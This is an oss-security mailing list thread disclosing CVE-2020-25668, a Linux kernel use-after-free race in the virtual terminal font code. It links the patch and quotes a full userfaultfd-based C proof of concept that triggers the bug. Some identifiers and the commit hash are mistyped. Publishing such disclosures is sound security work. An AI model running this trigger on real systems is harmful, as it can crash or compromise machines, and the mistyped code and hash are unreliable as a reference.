

[Products](#)[Services](#)[Publications](#)[Resources](#)[What's new](#)

Follow @Openwall on Twitter for new release announcements and other news

[\[<prev\]](#) [\[next>\]](#) [\[<thread-prev\]](#) [\[day\]](#) [\[month\]](#) [\[year\]](#) [\[list\]](#)

Date: Wed, 4 Nov 2020 14:47:49 +0800
From: Minh Yuan <yuanmingbuaa@...il.com>
To: oss-security@...ts.openwall.com
Cc: nopitydays@...il.com
Subject: Re: CVE-2020-25668: Linux kernel concurrency use-after-free in vt

Hi all,

the patch (commit 90bfdeef83fld6c696039b6a917190dcbbad3220) for this issue is available now.

<https://github.com/torvalds/linux/commit/90bfdeef83fld6c696039b6a917190dcbbad3220>

Regards,

Yuan Ming

Minh Yuan <yuanmingbuaa@...il.com> 于2020年10月30日周五 下午2:29写道:

```
> Hi,
>
> We recently discovered a uaf read in *con_font_op* in the latest kernel
> (v5.9.2 for now). The root cause of this vulnerability is that there exists
> a race in the global variable "**fg_console**", and the commit ca4463bf
> <https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=ca4463bf8438b40359edd0ec961ca0d4fbc0220> can't
> handle this issue.
>
> Specifically, after obtaining "vc_cons[fg_console]" by call
> *do_fontx_ioctl*, we can use *ioctl$VT_ACTIVATE* to change "fg_console"
> and use *ioctl$VT_DISALLOCATE* to free the old "vc_cons[fg_console]"
> obtained in *do_fontx_ioctl*. As a result, the access to vc in
> *con_font_op* will cause a uaf.
>
>
> To reproduce this concurrency bug stably, I use "userfaultfd" to handle
> the order of "free" and "use". This is my PoC (it needs the privilege to
> access tty to trigger this bug.):
>
> // author by ziiiro@thu
> #include <sys/types.h>
> #include <sys/stat.h>
> #include <fcntl.h>
> #include <sys/ioctl.h>
> #include <linux/kd.h>
> #include <linux/vt.h>
> #include <string.h>
> #include <sys/types.h>
> #include <sys/stat.h>
> #include <sys/mman.h>
> #include <pthread.h>
> #include <errno.h>
> #include <stdlib.h>
> #include <signal.h>
> #include <sys/syscall.h>
> #include <linux/userfaultfd.h>
> #include <poll.h>
> #include <linux/prctl.h>
> #include <stdint.h>
> #include <unistd.h>
>
> #define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \
> } while (0)
>
> int fd;
> static int page_size;
>
> static void *fault_handler_thread(void *arg) {
>     unsigned long value;
>     static struct uffdio_msg msg;
>     long uffdio;
>     static char *page = NULL;
>     struct uffdio_copy uffdio_copy;
>     int len, i;
>     if (page == NULL) {
>         page = mmap(NULL, page_size, PROT_READ | PROT_WRITE,
>                     MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
>         if (page == MAP_FAILED) errExit("mmap (userfaultfd)");
>     }
>     uffdio = (long)arg;
>
>     for(;;) {
>         struct pollfd pollfd;
>         pollfd.fd = uffdio;
>         pollfd.events = POLLIN;
>         len = poll(&pollfd, 1, -1);
>
>
>         read(uffdio, &msg, sizeof(msg));
>         printf("    flags = 0x%lx\n", msg.arg.pagefault.flags);
>         printf("    address = 0x%lx\n", msg.arg.pagefault.address);
>         // change fg console to 13
>         ioctl(fd, VT_ACTIVATE, 13);
>         ioctl(fd, VT_DISALLOCATE, 0);
>         // return to kernel-land
>         uffdio_copy.src = (unsigned long)page;
>         uffdio_copy.dst = (unsigned long)msg.arg.pagefault.address &
> ~ (page_size - 1);
>         uffdio_copy.len = page_size;
>         uffdio_copy.mode = 0;
>         uffdio_copy.copy = 0;
>         if (ioctl(uffdio, UFFDIO_COPY, &uffdio_copy) == -1)
>             errExit("ioctl: UFFDIO_COPY");
>
>     }
> }
>
> void setup_pagefault(void *addr, unsigned size) {
>     long uffdio;
>     pthread_t th;
>     struct Uffdio_api uffdio_api;
>     struct uffdio_register uffdio_register;
>     int s;
>     // new userfaultfd
>
>     uffdio = syscall(_NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
>     if (uffdio == -1) errExit("userfaultfd");
>     // enabled uffdio object
>     uffdio_api.api = UFFDIO_API;
>     uffdio_api.features = 0;
>     if (ioctl(uffdio, UFFDIO_API, &uffdio_api) == -1) errExit("ioctl:
> UFFDIO_API");
>     // register memory address
>     uffdio_register.range.start = (unsigned long)addr;
>     uffdio_register.range.len = size;
>     uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
>     if (ioctl(uffdio, UFFDIO_REGISTER, &uffdio_register) == -1)
>         errExit("ioctl: UFFDIO_REGISTER");
>     // monitor page fault
>     s = pthread_create(&th, NULL, fault_handler_thread, (void*)uffdio);
>     if (s != 0) errExit("pthread_create");
```

```

> }
>
>
> int main(int argc, char *argv[])
> {
>     fd = open("/dev/tty1", O_RDWR);
>     struct consolefontdesc cfdarg;
>     page_size = sysconf(_SC_PAGE_SIZE);
>     void *addr = (void*)mmap((void*)0x233000,
>                             page_size * 2,
>                             PROT_READ | PROT_WRITE,
>                             MAP_FIXED | MAP_PRIVATE | MAP_ANON,
>                             -1, 0);
>     if ((unsigned long)addr != 0x233000)
>         errExit("mmap (0x233000)");
>
>     setup_pagefault(addr, page_size);
>     cfdarg.charcount = 256;
>     cfdarg.charheight = 8;
>     cfdarg.chardata = addr;
>     // change fg_console to 10
>     ioctl(fd, VT_ACTIVATE, 10);
>     ioctl(fd, PIO_FONTX, &cfdarg);
>
>     return 0;
> }
>
> I change "fg_console" to *10* and *13* respectively, you can change it to
> any other appropriate number.
>
> In addition to "con_font_op", I think other functions that read or write
> vc_cons[fg_console] will also have the same issue.
>
> Timeline:
> * 10.23.20 - Vulnerability reported to security@...nel.org and
> linux-distros@...openwall.org.
> * 10.27.20 - CVE-2020-25668 assigned.
> * 10.30.20 - Vulnerability opened.
>
> Regards,
>
> Yuan Ming, Bodong Zhao from Tsinghua University
>

```

Powered by [blists](#) - more mailing lists

Please check out the [Open Source Software Security Wiki](#), which is counterpart to this [mailing list](#).

Confused about [mailing lists](#) and their use? [Read about mailing lists on Wikipedia](#) and check out these [guidelines on proper formatting of your messages](#).

